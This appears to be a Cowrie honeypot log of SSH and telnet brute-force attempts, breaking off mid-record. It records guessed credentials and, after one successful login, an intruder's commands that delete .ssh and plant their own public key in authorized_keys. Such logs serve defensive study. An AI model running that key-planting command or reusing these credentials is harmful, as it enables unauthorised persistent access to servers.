{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:44:26.949807Z","src_ip":"177.36.200.182","session":"03cbc9b5cae7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qazxsw","message":"login attempt [ubuntu/qazxsw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:44:26.964495Z","src_ip":"186.4.240.226","session":"81af9ec72898","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:44:28.052009Z","src_ip":"186.4.240.226","session":"81af9ec72898","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"R@@t","message":"login attempt [root/R@@t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:44:28.146899Z","src_ip":"177.36.200.182","session":"03cbc9b5cae7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:44:29.558505Z","src_ip":"177.36.200.182","session":"03cbc9b5cae7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.86.180.10","src_port":54937,"dst_ip":"159.203.135.109","dst_port":22,"session":"24f7ba7c133f","protocol":"ssh","message":"New connection: 103.86.180.10:54937 (159.203.135.109:22) [session: 24f7ba7c133f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:44:37.826997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:44:37.831497Z","src_ip":"103.86.180.10","session":"24f7ba7c133f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:44:38.028924Z","src_ip":"103.86.180.10","session":"24f7ba7c133f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"Admin123","message":"login attempt [postgres/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:44:38.851004Z","src_ip":"103.86.180.10","session":"24f7ba7c133f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":41424,"dst_ip":"10.17.0.5","dst_port":23,"session":"834c99a38712","protocol":"telnet","message":"New connection: 137.184.155.248:41424 (10.17.0.5:23) [session: 834c99a38712]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:44:39.772404Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:44:40.050879Z","src_ip":"103.86.180.10","session":"24f7ba7c133f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.253.251.7","src_port":43060,"dst_ip":"159.203.135.109","dst_port":22,"session":"08159157f93a","protocol":"ssh","message":"New connection: 72.253.251.7:43060 (159.203.135.109:22) [session: 08159157f93a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:44:43.064957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:44:43.071026Z","src_ip":"72.253.251.7","session":"08159157f93a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:44:43.190359Z","src_ip":"72.253.251.7","session":"08159157f93a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@$$w0rd123","message":"login attempt [root/P@$$w0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:44:43.697443Z","src_ip":"72.253.251.7","session":"08159157f93a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:44:44.818900Z","src_ip":"72.253.251.7","session":"08159157f93a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":32840,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4b64ad27c4a","protocol":"telnet","message":"New connection: 137.184.155.248:32840 (10.17.0.5:23) [session: e4b64ad27c4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:44:47.261769Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":29146,"dst_ip":"159.203.135.109","dst_port":22,"session":"c15d639eadec","protocol":"ssh","message":"New connection: 141.11.21.145:29146 (159.203.135.109:22) [session: c15d639eadec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:00.773380Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:00.861040Z","src_ip":"141.11.21.145","session":"c15d639eadec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":29150,"dst_ip":"159.203.135.109","dst_port":22,"session":"78fe0b8deaa5","protocol":"ssh","message":"New connection: 141.11.21.145:29150 (159.203.135.109:22) [session: 78fe0b8deaa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:00.931334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:00.935616Z","src_ip":"141.11.21.145","session":"78fe0b8deaa5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:01.011823Z","src_ip":"141.11.21.145","session":"78fe0b8deaa5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":37878,"dst_ip":"10.17.0.5","dst_port":23,"session":"e372c0d182eb","protocol":"telnet","message":"New connection: 137.184.155.248:37878 (10.17.0.5:23) [session: e372c0d182eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:01.232895Z"}
{"eventid":"cowrie.login.failed","username":"clz","password":"1qaz@WSX","message":"login attempt [clz/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:01.244628Z","src_ip":"141.11.21.145","session":"78fe0b8deaa5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":54246,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac6758a7c648","protocol":"telnet","message":"New connection: 147.124.211.111:54246 (159.203.135.109:23) [session: ac6758a7c648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:01.761714Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:02.329467Z","src_ip":"141.11.21.145","session":"78fe0b8deaa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.85464954376221,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:10.068689Z","src_ip":"185.26.126.47","session":"7820ce584944","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":60846,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ecfe48addfe","protocol":"ssh","message":"New connection: 41.86.34.139:60846 (10.17.0.5:22) [session: 1ecfe48addfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:21.423998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:21.428913Z","src_ip":"41.86.34.139","session":"1ecfe48addfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:21.636880Z","src_ip":"41.86.34.139","session":"1ecfe48addfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":22178,"dst_ip":"159.203.135.109","dst_port":22,"session":"d213fcceebf2","protocol":"ssh","message":"New connection: 2.57.121.112:22178 (159.203.135.109:22) [session: d213fcceebf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:22.055013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:22.059190Z","src_ip":"2.57.121.112","session":"d213fcceebf2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:22.159016Z","src_ip":"2.57.121.112","session":"d213fcceebf2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"Oracle2022","message":"login attempt [oracle/Oracle2022] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:22.501311Z","src_ip":"41.86.34.139","session":"1ecfe48addfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1806","message":"login attempt [admin/1806] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:22.630322Z","src_ip":"2.57.121.112","session":"d213fcceebf2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:22.963307Z","src_ip":"41.86.34.139","session":"1ecfe48addfe","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:22.966330Z","src_ip":"41.86.34.139","session":"1ecfe48addfe","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:22.970225Z","src_ip":"41.86.34.139","session":"1ecfe48addfe","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:23.182651Z","src_ip":"41.86.34.139","session":"1ecfe48addfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.4.240.226","src_port":35984,"dst_ip":"10.17.0.5","dst_port":22,"session":"d123fd99eae3","protocol":"ssh","message":"New connection: 186.4.240.226:35984 (10.17.0.5:22) [session: d123fd99eae3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:23.531855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:23.536575Z","src_ip":"186.4.240.226","session":"d123fd99eae3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:23.639889Z","src_ip":"41.86.34.139","session":"1ecfe48addfe","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:23.643608Z","src_ip":"41.86.34.139","session":"1ecfe48addfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-g